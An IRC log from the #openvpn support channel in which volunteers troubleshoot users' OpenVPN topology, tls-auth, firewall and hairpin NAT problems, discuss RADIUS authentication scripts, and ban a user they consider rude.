07:20 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 246 seconds]
07:35 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
07:44 -!- Mike-- [mad@probie.xs4all.nl] has quit []
07:49 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
07:50 < NermaN> pekster: thanks it was really helpfull
07:50 < NermaN> now it not odd
07:50 < pekster> Got your issue figured out?
07:51 < NermaN> pekster: but now it use .4 as first ip
07:51 < NermaN> is .2 restricted?
07:51 < pekster> What topology?
07:51 < NermaN> pekster: subnet
07:52 < pekster> Then only the traditional broadcast IPs are special (more for the sake of Windows than anything since it uses fake DHCP replies to the OS) and the IP the server is using are "special"
07:53 < pekster> Traditionally the server lives on the first IP (so x.y.z.1 for a /24) but you can change that if you'd like; all other availalbe IPs can be assigned to your --ifconfig-pool or handed out statically as you see fit
07:53 < NermaN> pekster: thanks, now it seems clear
07:54 < NermaN> net30 topology was real odd for me
07:56 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
08:00 < pekster> Yea, it's a left-over piece of history that's "hard to change" because it breaks backwards-compat with 2.0.x-era configs
08:08 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
08:09 -!- Jaska__ [~Q@gprs-internet-bcee37-38.dhcp.inet.fi] has quit [Ping timeout: 265 seconds]
08:27 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
08:30 -!- NermaN [~mir@213.87.104.192] has quit [Quit: Miranda NG! Smaller, Faster, Easier. http://miranda-ng.org/]
08:36 -!- NermaN [~mir@213.87.104.192] has joined #openvpn
08:37 < NermaN> is there other coolthings that i must to know?
08:38 < NermaN> as topology subnet? =)
08:38 < pekster> Bowties. Bowties are cool.
08:39 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:46 < FriedZombie> I like hats :)
08:46 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
08:50 -!- NermaN [~mir@213.87.104.192] has quit [Quit: Miranda NG! Smaller, Faster, Easier. http://miranda-ng.org/]
08:55 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
08:57 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
09:01 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:06 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
09:23 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 265 seconds]
09:28 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has joined #openvpn
09:28 < bioman> Hi
09:28 < bioman> This is the first time I do some openvpn
09:29 < bioman> openvpn /etc/openvpn/server.conf works fine (Sun Nov 24 16:19:34 2013 Initialization Sequence Completed)
09:29 < bioman> ip addr show let me know tun0 with its address
09:30 < bioman> but on the cient side, I have : http://ix.io/98y
09:30 < bioman> And no tun0
09:31 < bioman> please help me, it has to work tonight, need it for work tomorrow. Here is linux
09:33 < pekster> !new
09:33 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
09:35 < bioman> pekster: I follow this guide : https://wiki.archlinux.org/index.php/OpenVPN
09:35 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
09:35 < pekster> Not useful
09:36 < pekster> At least not here
09:36 < pekster> !blog
09:36 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
09:36 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
09:36 < pekster> Maybe it's good, but you're asking for help in #openvpn. I fed you resources to learn how to get proper help here: please read them
09:37 < bioman> pekster: RTFM time is dead man...
09:37 -!- mode/#openvpn [+o pekster] by ChanServ
09:37 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
09:37 <@pekster> You're not listening. We can't help if you don't provide information
09:37 < bioman> pekster: To be honnest, I do not have time NOW for reading
09:37 <@pekster> You have thus far FAILED to provide any useful configs or logs
09:38 <@pekster> Go read how to get help
09:38 <@pekster> If you can't do that, please go elsewhere for support or pay someone to put up with such nonsense
09:38 <@pekster> I'm not asking you to RTFM; I'm asking you to provide useful information that describes your setup/problem. You've done neither
09:39 <@pekster> http://catb.org/~esr/faqs/smart-questions.html#beprecise
09:39 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
09:39 < bioman> pekster: ok, thanks. First, here is the client.conf : http://ix.io/98z
09:39 <@pekster> Now go read the links I told you before. This isn't RTFM, this is "learn how to ask for help properly." We're donating our time here, so stop pretending like we owe you something
09:39 <@pekster> !new
09:39 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
09:39 -!- mode/#openvpn [+v-o pekster pekster] by pekster
09:40 < bioman> !wemcome
09:40 < bioman> !welcome
09:40 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:40 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:41 < bioman> !logs
09:41 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:41 < bioman> !logfile
09:41 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
09:45 < FriedZombie> Damn should have brought my popcorn
09:47 < bioman> "To troubleshoot a VPN connection, start the daemon manually with: # openvpn /etc/openvpn/client.conf"
09:49 <+pekster> Which may or may not do what you expect based on how logging is configured (ie: !logfile)
09:49 < bioman> !logfile
09:49 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
09:54 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
09:55 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:55 < bioman> pekster: sorry, pekster where is the log file now please ? /var/log/???
09:55 <+pekster> I have no clue; how have _you_ configured your process to log?
09:56 < bioman> openvpn --config /etc/openvpn/server.conf  --daemon --log 5
09:56 <+pekster> Did you even read the info above? "(#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile" followed by more info
09:56 <+pekster> You got that info from the bot at least twice
09:57 < bioman> sorry
09:58 <+pekster> --log 5 isn't really doing what you want either
09:58 <+pekster> It's logging to a file called "5"
09:58 <+pekster> So, apparently that's where your logs will go ;)
09:58 <+pekster> ./5
09:58 < bioman> ^^
09:59 < bioman> ok. Let's start with the server side : http://ix.io/98B
09:59 <+pekster> This is 1 of the 4 things you need to provide
10:00 <+pekster> You're missing server config and client logs; you also need to supply relevant server logs _after_ you attempt to connect with your client
10:00 <+pekster> Obviously the logs don't do any good to troubleshoot a connection if you haven't actually made one (that's like asking when the trash pickup will come tomorrow)
10:01 < bioman> pekster: so now, it's you that did not listen to me ;) When I arrived I posted the client log AND SAID that I have no tun0
10:01 < bioman> :)
10:01 <+pekster> I have the client log..
10:02 <+pekster> You're still not reading very well
10:02 <+pekster> You need to give us _FOUR_ things: configs from _BOTH_ sides, and logs from _BOTH_ sides
10:02 <+pekster> You have thus far failed to do that, and the server logs you have are apparently without any connection attempt from your client
10:02 < bioman> ok ok
10:02 <+pekster> If you are unable to do that, please leave. If you need help providing these things, ask for it
10:02 < bioman> thanks for your patience
10:02 <+pekster> 30 minutes here and you can't be bothered to supply 4 simple things as explained in !welcome
10:03 < jzaw> https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcS_6wVMpn32-cSLvTA-KIY8NvOgEOSXwHe2ajfGwe304gS083ZW
10:04 < bioman> here is the server config file http://ix.io/98D and its log: http://ix.io/98B
10:05 <+pekster> That's not a verb 4, but regardless it shows no packets from your client
10:05 < bioman> Here is the client config file : http://ix.io/98z and its log http://ix.io/98E
10:05 <+pekster> Packets are not arriving from your client in that config so you either haven't actually attempted a connection, or there is a packet delivery problem (usually a firewall) blocking the transmit of the clients
10:05 <+pekster> It all won't matter given that server log
10:06 <+pekster> "no packets are ever reaching your server" is your problem. You need to identify why you are apparently unable to deliver packets to your server
10:06 < bioman> pekster: I run it in a lan for now...
10:06 < bioman> ?
10:07 <+pekster> Doesn't matter; the client cannot reach 83.157.129.185:1194
10:07 <+pekster> Client sends packets but the server never gets them
10:07 <+pekster> OpenVPN is unable to work if you cannot deliver packets to your server
10:07 < bioman> pekster: excuse me -please-, but I have no tun0 "card"
10:08 < bioman> on the client
10:08 <+pekster> And you won't until you _MAKE_ a valid connection
10:08 <+pekster> You don't have that
10:08 <+pekster> Fix. Your. Broken. Firewall.
10:08 < bioman> ok
10:08 <+pekster> (or possibly routing, or whatever is causing the client not to send packets where they need to go.)
10:09 < bioman> pekster: could you first tell me if both config files are correct ?
10:09 <+pekster> Next time pipe them through: sed -r '/^;/d;/^#/d;/^$/d' to remove comments/blanks
10:10 < bioman> ok
10:11 <+pekster> You have mis-matched tls-auth settings between peers
10:11 <+pekster> Otherwise it looks fine
10:12 < bioman> pekster: thanks
10:12 < bioman> pekster: afaik, Arch Linux does not firewal until you enable it, gonna ask there
10:13 <+pekster> Fix the tls-auth thing first
10:13 <+pekster> That's effectively an HMAC firewall for the TLS channel; see the manpage for operational details
10:14 < Ziber> Morning pekster
10:15 < bioman> pekster: I'm really sorry to tell you that I have only basics as regards networking. HMAC does not ring a bell, neither TLS
10:15 <+pekster> !tls-auth
10:15 <@vpnHelper> "tls-auth" is "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS., or (#2) openvpn --genkey --secret ta.key to
10:15 <@vpnHelper> make the tls static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
10:15 <+pekster> Go read about it in the manpage for details; ask here if you're still confused and feel you need more information
10:15 <+pekster> What you really need is to learn to ask smart questions with that helpful document in !ask because in the last hour you've missed at least several major points on asking good questions
10:16 <+pekster> Specifically here: http://catb.org/~esr/faqs/smart-questions.html#lesser
10:16 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
10:16 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 245 seconds]
10:16 < bioman> pekster: sorry. English is NOT my native language, I have to read, translate (...) then try to understand...
10:19 -!- takamichi [~takamichi@141.255.164.67] has joined #openvpn
10:19 <+pekster> bioman: I can work with a language barrier, and I can try to use shorter words too. You will still need to process information somehow. Instead of typing entire paragraphs from the manpage it is easier for you to look them up
10:19 <+pekster> tls-auth needs to be matched on both openvpn peers. Use it on both sides or on neither side. You have it on just one side, which is an error
10:28 < bioman> pekster: that's what I understood
10:30 < bioman> I've put "tls-auth /etc/openvpn/ta.key 1" but still no tun0
10:30 <+pekster> In the server? That's still not right becuase the direction value needs to be 1 on one side and 0 on the other
10:31 <+pekster> because*
10:33 < bioman> "1"  for the client, "0" for the server isn't it ?
10:33 <+pekster> Either way; it doesn't matter
10:33 < Ziber> 1 for both.
10:33 < Ziber> or 0 for both.
10:33 <+pekster> Ziber: No, wrong
10:33 < Ziber> Oh. Sorry.
10:33 < Ziber> Only vaguely paying attention. What's going on?
10:33 <+pekster> Ziber: Read --tls-auth in the manpage
10:34 < Ziber> Ah.
10:34 < bioman> pekster: Is what I did fine ?
10:35 <+pekster> bioman: yes. The server can use 0 or 1. Whatever you pick, the client needs the _other_ one
10:35 < bioman> pekster: done :)
10:39 -!- takamichi [~takamichi@141.255.164.67] has quit [Ping timeout: 272 seconds]
10:41 < bioman> still does not work : server log : http://ix.io/98J     client log : http://ix.io/98I
10:41 < bioman> and thank you :)
10:42 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:42 <+pekster> If you fixed the tls-auth problem, you now have the original problem. Packets are not arriving at the server
10:42 <+pekster> You need to fix your network setup to allow packets to be sent properly to your server
10:43 < bioman> pekster: firewall issue ?
10:43 <+pekster> bioman: To check again, you copied the same ta.key?
10:43 <+pekster> You need the same key, not different ones
10:43 < bioman> pekster: yes
10:43 < bioman> the same
10:43 <+pekster> Okay, good. Then yes, you seem to have a firewall problem
10:44 <+pekster> If you are doing this on your LAN you might not want to use your public IP. Some routers do not do that properly
10:44 < bioman> ok. gonna ask in #archlinux, then I come back
10:44 < bioman> pekster: you mean nadstaky.hd.free.fr ?
10:45 < Ziber> Every bit of documentation I've found on bridging says that I shouldn't have an IP on both interfaces. :/
10:45 <+pekster> bioman: Yes, that resolves to a public IP. Home routers often have problems with "hairpin NAT" in that setup
10:45 < Ziber> ... Might've solved it.
10:46 <+pekster> Ziber: Correct, the address needs to be on the bridge interface under Linux
10:46 < Ziber> Nevermind.
10:46 < bioman> pekster: please let me tell you : I have a firewall, pfSense.
10:47 < Ziber> I have a seemingly DHCP address on the physical interface, and a static one on the bridge.
10:47 <+pekster> Ziber, then it sounds very much like you have a basic network misconfiguration
10:48 <+pekster> That will cause all sorts of unexpected problems
10:48 < bioman> pekster: might all those problems come from that ?
10:48 < Ziber> I don't know how many more of these are going to be unexpected. I'm learning to expect them.
10:48 <+pekster> bioman: Quite possibly. What I've suggested will help you test that. If a connection to your server skipping the router works, your router/firewall is clearly the problem
10:48 <+pekster> Go test it and see
10:49 < bioman> pekster: so I should test on LAN ?
10:49 <+pekster> As I stated earlier, openvpn can not work if the client is not able to deliver packets to the server
10:49 <+pekster> Yes, you said both your clients are on the LAN already. Right? Just use the LAN IP as your --remote value
10:49 < bioman> pekster: ok
10:51 < bioman> pekster: btw, is It my router's LAN ip ?
10:51 < bioman> q!
10:51 <+pekster> Use your _server_ IP
10:51 < bioman> thanks
10:51 <+pekster> If this is all on your own LAN you should be using the direct IP the server has, which should not be the IP the router has
10:51 < bioman> so 192.168.2.5
10:52 <+pekster> Apparently. I don't know what your network looks like
10:54 < Ziber> I really want to remove that address from p1p1, but I'm scared I'll completely lose connectivity.
10:55 < bioman> pekster: well.... I add --remote for the client ?
10:55 <+pekster> Not add. Replace the existing line
10:56 <+pekster> You already _have_ it. A client will not work without a --remote directive
10:57 <+pekster> My guess is you have misconfigured your router and that's your problem. Testing a connection directly to the server will determine if that is the case
10:58 < bioman> pekster: yeah !!! my client has a tun0 :)
10:59 < Ziber> pekster: Think the order of my /etc/network/interfaces file has anything to do with it? I have iface p1p1 inet manual at the bottom.
10:59 <+pekster> bioman: So the result is that you have misconfigured your router/firewall. Either the firewall is incorrect and blocking this traffic your your router is not correctly handling hairpin NAT. Consider using split-horizon DNS anyway, but both are topics for you to discuss with the relevant channels for your products
11:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
11:00 <+pekster> Ziber: bridges are distro-specific. interfaces(5) makes me think you're using a Debian-clone? Try #debian or #ubuntu or their relevant documentation on bridges
11:00 <+pekster> This isn't the right place to learn how to use/configure your OS
11:00 < Ziber> I'm not learning, I know perfectly well how to use it.
11:00 < Ziber> And yeah, Ubuntu.
11:01 <+pekster> Apparently not if you've put the address _on_ the bridge member
11:01 <+pekster> You have quite clearly misconfigured your OS on this case
11:01 < Ziber> By bridge member, you mean p1p1, right?
11:01 < Ziber> Haven't heard that terminology.
11:01 < bioman> pekster: I really thank you for your patience and help. Gonna find how to open a port on my firewall
11:01 <+pekster> Ziber: `brctl show`
11:01 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
11:01 -!- mode/#openvpn [+o krzee] by ChanServ
11:01 < Ziber> yeah?
11:02 <+pekster> bioman: Mind the hairpin nat too. That causes lots of issues when not handled properly
11:02 < Ziber> the interfaces listed are p1p1 and a few for my VMs.
11:02 <+pekster> I strongly suggest you use DNS views instead
11:03 <+pekster> Ziber: From yesterday we deterined openvpn is working fine and you can ping from a VPN client to a physical host on your other client-side-LAN. This means your issue has zero to do wtih openvpn
11:03 <+pekster> Please ask #yourdistro for help with configuring your distro
11:03 <+pekster> #openvpn is not general computer help
11:03 <@krzee> a +q didnt help, a +b didnt help
11:03 <@krzee> methinks he will never get the point, we help with openvpn here
11:03 <@krzee> !101
11:03 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
11:04 < Ziber> Nice to see you too, krzee.
11:04 < Ziber> pekster: Sorry of me to assume that your assistance yesterday was a continued habit.
11:04 <+pekster> Ziber: You're in #openvpn
11:04 <+pekster> Go ask in ##networking or #ubuntu if you need help with your OS
11:04 < Ziber> Glad to see your observation skills are working.
11:05 <+pekster> Stop pretending like we owe you help. This is free help and you're asking in the wrong place. It's like asking my barber to fix my car..
11:05 <+pekster> And you continue with rudenes. I'm sick of it
11:05 -!- mode/#openvpn [+o pekster] by ChanServ
11:05 -!- mode/#openvpn [+b *!*Liber@liber.in] by pekster
11:05 -!- Ziber was kicked from #openvpn by pekster [Ziber]
11:05 -!- mode/#openvpn [+b Ziber!*@*] by krzee
11:05 <@krzee> ./kickban Ziber glad to see your human interaction skills still suck
11:05 <@krzee> doh
11:05 -!- mode/#openvpn [-b Ziber!*@*] by krzee
11:06 -!- mode/#openvpn [-o pekster] by ChanServ
11:06 <@krzee> when you get ops racing to ban you first, you have gone too far
11:06 <@krzee> lol
11:06 <+pekster> That can stay for good now as far as I'm concerned
11:06 <@krzee> ya i have no plans on removing it
11:07 <@krzee> strike 3 (or higher), he just isnt going to bring anything useful here
11:07 <+pekster> Right
11:07 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
11:07 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
11:08 <+pekster> Yup. I understand openvpn is a complicated tool, but we're not hear to teach computing basics, and refusal to go to the right places for info when told _multiple_ times is harmful here
11:09 <@krzee> iirc hes the guy who wanted to argue with me, saying that fixing his router's firewall was an openvpn topic because he wanted to use openvpn and his router was blocking lan routing (we confirmed it was router by bypassing it and everything worked fine)
11:10 -!- master_of_master [~master_of@p4FD7BA65.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
11:10 <@krzee> how you gunna argue with a guy who just troubleshot your problem and handled you everything on a platter
11:10 <+pekster> Well, turns out that might have been his fucked up xen/kvm briding
11:10 <+pekster> I don't know if he fixed it after or before your work with him, but he was able to ping a client-LAn side printer but still couldn't reach the bridged VM running on the vpn client
11:10 <@krzee> nah man the problem we had was his router, adding a route to bypass it made everything just work
11:10 <+pekster> Right, but that was the VM stuff
11:11 <+pekster> The bridge is vastly misconfigured
11:11 <@krzee> i must be thinking of someone else then, cause the router im thinking of was a physical verizon router
11:11 <+pekster> Oh, it is, same guy
11:11 <@krzee> (as opposed to a vm)
11:11 <@krzee> oh ok
11:11 <+pekster> Right, router is physical,but the host failing to ping is a VM running on the vpn-client box
11:11 <+pekster> thus there's "more shit" involved that's misconfigured due to lack of basics
11:12 -!- master_of_master [~master_of@p4FF245BE.dip0.t-ipconnect.de] has joined #openvpn
11:12 <@krzee> but it pings when you add a route to the network to go over the lan vpn node
11:12 <+pekster> Right, but the ping to the printer works, showing the router _is_ working right
11:12 <@krzee> interesting lol
11:12 <+pekster> [vpn client] -> [vpn server] -> [vpn-client2] -> [lan-printer]
11:13 <+pekster> But same line with [lan-VM-on-vpn-client2] box failed,a nd it wasn't the firewall on the VM
11:13 <+pekster> So, obviously more stuff is involved, and tcpdumps showed the reply making it to the vpn-client2 box's inside interface, but there's something that either won't send it to the router or won't accept the reply from the router at that point becuase it's not forwarded
11:14 <+pekster> tl;dr: can't learn basics and pisses on the local help. Waste of my time :\
11:14 <@krzee> yep
11:14 <+pekster> The bridge thing _was_ an interesting problem for ##networking
11:15 <@krzee> funny when people dont take the advice to join ##networking or #netfilter, meanwhile we're in those channels waiting to continue helping on-topic in that chan
11:16 -!- bigbob83 [bigbob@7.72.100.84.rev.sfr.net] has joined #openvpn
11:17 <+pekster> Oh well, problem solved. No need to un-solve it by hashing it again now ;)
11:17 < bigbob83> Hello all , ive some question about openvpn with freeradius auth, someone can help me please ?
11:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
11:18 <@krzee> bigbob83, we'll try, what the problem?
11:21 < bigbob83> i have a radius db populated with a billing system (hostbill). i want to setup openvpn with this freeradius.i use freeradius plugin.
11:21 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
11:21 < bigbob83> but can i limite rate of users who have subscribed in vpn package.
11:22 < bigbob83> i have users in radius db i now that i can put reply items in this db.
11:23 < bigbob83> i want to put a custom reply item like download_speed, upload_speed ect..
11:23 < bigbob83> but how openvpn will know what these reply item mean to?
11:24 <+pekster> bigbob83: You're passing info back from the radius server, is that it?
11:25 <+pekster> If so, you will probably have more luck doing the auth in a custom script called from --auth-user-pass-verify script that you can do more than the plugin
11:26 <+pekster> The plugin only works when you can let it "do its thing" and return a pass/fail authentication value as the plugin API allows. If you want to take special action, like configuring QoS based on the radius fields you get back and apply the QoS rules to the client IP, the plugin is really not what you want
11:26 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
11:26 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
11:27 < bigbob83> okay, you say me that a plugin can only ask for user auth and get the reply (okay or not okay for auth) ?
11:28 <+pekster> Correct
11:28 < bigbob83> sorry for my bad english   X
11:28 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:28 <+pekster> No problem, it's fine :)
11:28 < bigbob83> i need to do a script ? whitch language is the best for this task ?
11:29 <+pekster> Any language you like
11:29 <+pekster> I'v done complex radius db auth by using shell script and a radius-client CLI package
11:29 <+pekster> I've*
11:29 <+pekster> For all it matters you could use Java (though I'd discourage that unless you had a good reason)
11:32 < bigbob83> i have to launch this script after the user is authenticated ? or i have to do authentication too in the script?
11:32 <+pekster> You would need to authenticate against your radius server, yes
11:33 <+pekster> You could choose to keep the authentication with the radius plugin, but then you can't use the value you got from the plugin's authentication attempt
11:33 <+pekster> You said you're using the fields the radius reply contains, right? The problem is there's no way for openvpn to do anything with them
11:33 <+pekster> You need your _own_ script that can parse the reply and take this extra action you need
11:34 < bigbob83> okay, i've understand ^^
11:37 < bigbob83> how can i know when i have to launch this script? i have to do it when nas (openvpn server for me) get a authentication request ?
11:37 <+pekster> OpenVPN launches it for you
11:37 <+pekster> All you have to do is write your own code to verify the user and do your extra tasks, then exit the program with code 0 for success, or non-zero for failure. If 0, the client continues to connect. If non-zero, the client is denied access
11:38 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
11:41 < bigbob83> could you give me somes howto ,exemples links for this kind of script?
11:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
11:42 <+pekster> google or your preferred search engine surely can
11:43 <+pekster> It's up to you to write your own scripts. OpenVPN only cares about the exit code, so your script must contain all the logic you need to perform the authentication and do your extra bandwidth-related tasks
11:43 -!- svparijs_afk is now known as svparijs
11:44 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
11:44 < bigbob83> i will do a script
11:45 < bigbob83> thank you so much for your help
11:45 <+pekster> Sure. The "SCRIPTING" section of the manpage contains all the openvpn-related env-vars you can use
11:47 <+pekster> I have some samples you can learn from; these aren't authentication scripts, but --client-connect and --client-disconnect scripts, but you can get an idea of how you use them: https://github.com/QueuingKoala/openvpn-dynamic/tree/master/user-accounting
11:47 <@vpnHelper> Title: openvpn-dynamic/user-accounting at master · QueuingKoala/openvpn-dynamic · GitHub (at github.com)
11:48 < bigbob83> Thanks :)
11:51 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
11:53 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
11:55 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:56 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:59 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has joined #openvpn
12:00 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
12:01 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:07 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has left #openvpn ["Leaving"]
12:17 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
12:17 -!- SamanthaD [~SamanthaD@199.254.238.200] has joined #openvpn
12:24 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
12:32 -!- SamanthaD [~SamanthaD@199.254.238.200] has quit [Ping timeout: 248 seconds]
12:36 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:44 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
12:56 -!- nofks [~nofks@46.19.140.62] has joined #openvpn
13:02 -!- prothon [~prothon@65.39.153.65] has left #openvpn []
13:13 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
13:24 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:30 -!- spiekey [~admin@dslb-188-109-084-025.pools.arcor-ip.net] has joined #openvpn
13:39 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Connection reset by peer]
13:40 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
13:41 <+pekster> !topology
13:41 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
13:42 -!- elfixit [~Icedove@77-58-33-129.dclient.hispeed.ch] has joined #openvpn
13:42 <+pekster> !forget topology 3
13:42 <@vpnHelper> Joo got it.
13:42 <+pekster> !learn topology details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
13:42 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
13:42 <+pekster> !/30
13:42 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
13:43 <+pekster> !learn topology as details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
13:43 <@vpnHelper> Joo got it.
13:50 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:50 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has quit [Ping timeout: 245 seconds]
13:51 -!- svparijs is now known as svparijs_afk
13:52 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has joined #openvpn
13:58 -!- ePax [~ePax@unaffiliated/epax] has joined #openvpn
14:09 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has joined #openvpn
14:10 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has left #openvpn ["Leaving"]
14:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 272 seconds]
14:19 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has quit [Ping timeout: 245 seconds]
14:21 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has joined #openvpn
14:27 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has quit [Quit: Lost terminal]
14:56 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:59 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has joined #openvpn
15:00 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has left #openvpn ["Leaving"]
15:03 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
15:04 -!- SamanthaD [~SamanthaD@c-98-248-25-134.hsd1.ca.comcast.net] has joined #openvpn
15:06 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
